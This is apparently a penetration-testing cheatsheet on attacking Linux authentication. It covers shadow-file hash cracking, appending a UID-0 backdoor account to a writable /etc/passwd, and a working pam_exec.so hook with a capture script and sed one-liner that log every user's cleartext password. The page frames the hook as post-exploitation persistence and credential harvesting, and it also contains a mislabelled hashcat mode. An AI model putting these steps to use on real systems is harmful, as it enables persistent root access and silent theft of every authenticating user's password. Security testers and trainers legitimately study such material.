🛡️ Methodology Checklist

  • Understand auth stack: PAM → /etc/passwd → /etc/shadow
  • Check /etc/passwd for weak permissions: ls -la /etc/passwd /etc/shadow
  • Check for writable /etc/passwd: add root-level user manually
  • Identify hash algorithm from shadow: $1$=MD5, $6$=SHA-512
  • Crack shadow hashes: john /etc/shadow --wordlist=rockyou.txt
  • Check SSH authorized_keys for all users
  • Review PAM configs for auth bypass: cat /etc/pam.d/*
  • Capture cleartext at auth time (no hash crack): hook pam_exec.so expose_authtok into /etc/pam.d/common-auth

🎯 Operational Context

Use when: Understanding Linux authentication flow to identify credential interception points — /etc/passwd, /etc/shadow, PAM, and SSH key authentication. Think Dumber First: If you can read /etc/shadow, you can crack every account offline. If /etc/passwd has x in password field, shadow is in use. If any entry has a direct hash in passwd (old systems), crack it directly. Skip when: Modern hardened Linux with PAM + SSSD + Kerberos — shadow cracking only works on local accounts.


⚡ Tactical Cheatsheet

CommandTactical Outcome
cat /etc/passwdRead user database (world-readable)
sudo cat /etc/shadowRead password hashes (root/shadow group only)
sudo cat /etc/security/opasswdRead old password history (often weaker hashes)
ls -l /etc/passwdCheck if passwd is world-writable (instant privesc if rw-rw-rw-)
sudo cp /etc/passwd /tmp/passwd.bak && sudo cp /etc/shadow /tmp/shadow.bakCopy files for offline processing
unshadow /tmp/passwd.bak /tmp/shadow.bak > /tmp/unshadowed.hashesMerge passwd + shadow for cracking
hashcat -m 1800 -a 0 /tmp/unshadowed.hashes rockyou.txtCrack SHA-512 Linux hashes
hashcat -m 18200 -a 0 /tmp/unshadowed.hashes rockyou.txtCrack Yescrypt hashes (modern Debian/Kali)
john --single /tmp/unshadowed.hashesJtR single mode — uses GECOS metadata as guesses
find / -name pam_exec.so 2>/dev/nullConfirm the PAM exec module is present for credential interception
echo 'auth optional pam_exec.so quiet expose_authtok /dev/shm/pwn.sh'The hook that pipes the cleartext auth token to your script on stdin

🔬 Deep Dive & Workflow

PAM and the Authentication Files

Linux authentication is managed by PAM (pam_unix.so). It reads from two files:

/etc/passwd — world-readable user metadata. Each line is seven colon-separated fields:

[USER]:x:1000:1000:,,,:/home/[USER]:/bin/bash
 (1)  (2)  (3)  (4) (5)    (6)        (7)
#FieldMeaning
1usernamelogin name
2passwordx = hash is in /etc/shadow; empty = no password required; a hash here = crackable directly (legacy)
3UID0 = root — this is what grants privilege, not the name
4GIDprimary group id
5GECOScomment/full name (used by John --single)
6homehome directory
7shelllogin shell

Writable /etc/passwd → instant root (by hand). If you can write the file, add your own UID-0 line. Do it manually so the seven fields are deliberate:

  1. Generate a hash for field 2 (omit this and leave field 2 empty for a no-password account, but many login/su paths reject empty-password root): openssl passwd -1 'Passw0rd!'$1$xyz$…
  2. Append a line with UID 0, GID 0 and your hash:
echo 'root2:$1$xyz$...:0:0:root:/root:/bin/bash' >> /etc/passwd
  1. Become it: su root2 → root. (root2, not root, so you don’t clobber the real account or its shadow entry.)

The one-liner is just this line appended — the leverage is entirely in fields 3/4 being 0:0.

/etc/shadow — root-only hashes:

[USER]:$y$j9T$3QS...:18955:0:99999:7:::

/etc/security/opasswd — password history file. Often contains older MD5 ($1$) hashes from when the account was created — significantly easier to crack than the current SHA-512 or Yescrypt hash.

Hash Algorithm Identification

The $ID$ prefix in the shadow file identifies the algorithm:

IDAlgorithmHashcat Mode
$1$md5crypt500
$2a$/$2b$/$2y$bcrypt3200
$5$sha256crypt7400
$6$sha512crypt1800
$y$yescryptnone — crack with John

SHA-512 ($6$) is standard on most Linux distributions. Yescrypt ($y$) is the new default on Debian/Ubuntu/Kali — note it has no hashcat mode, so crack it with John the Ripper jumbo (do not confuse it with 18200, which is Kerberos AS-REP). For recognising hashes from other sources on sight, see Password_Attacks_Cheat_Sheet (“Identify a Hash on Sight”).

Unshadow Workflow

unshadow (bundled with John the Ripper) merges passwd and shadow into a combined format that both John and Hashcat can process:

unshadow /tmp/passwd.bak /tmp/shadow.bak > /tmp/unshadowed.hashes
hashcat -m 1800 -a 0 /tmp/unshadowed.hashes /usr/share/wordlists/rockyou.txt

The unshadowed format is also optimal for John’s --single mode, which uses the username and GECOS fields to generate targeted guesses.

Credential Interception via pam_exec (capture / backdoor)

Cracking /etc/shadow is the offline path. The online path is to intercept the cleartext token as it is submitted, skipping the hash entirely. PAM’s pam_exec.so runs an arbitrary script during authentication, and expose_authtok pipes the submitted password to that script on stdin — so a single line in /etc/pam.d/common-auth harvests cleartext for any account that authenticates (SSH, su, sudo).

Two uses for the same hook:

  • Post-exploitation persistence / credential harvesting — once you’re root on a target, log every user (and any automated bot) that authenticates, without touching /etc/shadow.
  • Inbound-SSH capture — point an automation/provisioning callback at a real sshd you control and read the credential it offers (see snoopy).

The capture script, written to volatile memory:

cat > /dev/shm/pwn.sh <<'EOF'
#!/bin/sh
 
echo "$(date) - $PAM_USER:$(cat -)" >> /dev/shm/pwned.log
EOF
chmod +x /dev/shm/pwn.sh

$PAM_USER is the account PAM is authenticating; cat - reads the cleartext token delivered by expose_authtok.

Insert the hook before pam_unix.so — not appended to the bottom of the file. Do it by hand first so you understand the rule, then automate it.

By hand — open /etc/pam.d/common-auth (nano/vi) and add one line at the top of the Primary block, above pam_unix.so:

# here are the per-package modules (the "Primary" block)
auth    optional    pam_exec.so quiet expose_authtok /dev/shm/pwn.sh
auth    [success=1 default=ignore]    pam_unix.so nullok

A PAM rule is four whitespace-separated fields: type (auth — runs at authentication) · control (optional — never alters the pass/fail result, so a script error can’t lock you out) · module (pam_exec.so) · args (quiet = no module output, expose_authtok = pipe the password to the program on stdin, then the script path).

Same edit as a one-linersed inserts the line above the first pam_unix.so match (i = insert-before; \t → tabs):

sudo sed -i '/^auth.*pam_unix.so/i auth\toptional\tpam_exec.so quiet expose_authtok /dev/shm/pwn.sh' /etc/pam.d/common-auth

PAM walks the auth stack top-to-bottom and the default stack ends with pam_deny.so (requisite), which terminates immediately once auth fails. If the offered password won’t validate (a wrong/foreign credential, or a foothold you don’t share a password with), the stack reaches pam_deny and stops — a hook appended after it never runs. Placing it first guarantees it fires and grabs the token regardless of whether pam_unix later succeeds. Flags: optional (a script error never breaks the login flow, so you don’t lock yourself out), quiet (suppress module output), expose_authtok (the core mechanism).

Two-pass capture for a user that doesn’t exist locally: when the authenticating username has no local account, sshd runs a dummy auth path (to resist user enumeration) and never feeds the real token into PAM — the first attempt logs only $PAM_USER with an empty password field. Read the name, create the account, then drive the auth again:

cat /dev/shm/pwned.log          # → "... - cbrown:"   (username, empty password)
sudo useradd cbrown             # make sshd run the genuine auth path
# re-trigger the inbound auth → "... - cbrown:<cleartext>"

Clean up afterward: remove the hook (sed -i '/pam_exec.so quiet expose_authtok/d' /etc/pam.d/common-auth) and any throwaway account (userdel). The hook casts a wide net — it logs every authentication on the host, including legitimate ones.


🛠️ Troubleshooting & Edge Cases

ProblemCauseFix
Cannot read /etc/shadowInsufficient privilegesFind SUID cat/less: find / -perm -4000 -name 'cat' 2>/dev/null; or check if in shadow group: id
Hash format unrecognizedUnknown hash prefixIdentify: $1$=MD5, $2$/$2b$=bcrypt, $5$=SHA256, $6$=SHA512; use hashcat mode list
Shadow hash takes too long to crackbcrypt rounds highCheck: $2b$12$ means 12 rounds = very slow; prioritize other attack paths
PAM misconfiguration not obviousConfig spread across filesCheck all PAM files: ls /etc/pam.d/; grep -r 'sufficient|requisite' /etc/pam.d/
NSS/SSSD users not in /etc/passwdCentralized authList all users: getent passwd which queries NSS; domain users won’t be in local files
pam_exec capture logs username but empty passwordthe authenticating user has no local account — sshd ran a dummy auth pathsudo useradd <user> then re-trigger; the second pass exposes the cleartext token
pam_exec hook never fires at allappended after pam_deny.so, which short-circuits on auth failuremove the line above pam_unix.so in /etc/pam.d/common-auth

📝 Reporting Trigger

Finding Title: Weak Password Hash Algorithm in /etc/shadow Enables Offline Cracking Impact: MD5 or SHA-256 password hashes in /etc/shadow are crackable in minutes to hours with modern GPU hardware, providing plaintext passwords for all local accounts on the compromised system. Root Cause: Legacy system using MD5 ($1$) or SHA-256 ($5$) hashing instead of bcrypt or Argon2. No password complexity enforcement. Recommendation: Migrate to bcrypt or Argon2 hashing (update PAM configuration). Enforce password complexity and rotation. Implement centralized authentication (SSSD + Kerberos) to eliminate local password-based authentication where possible.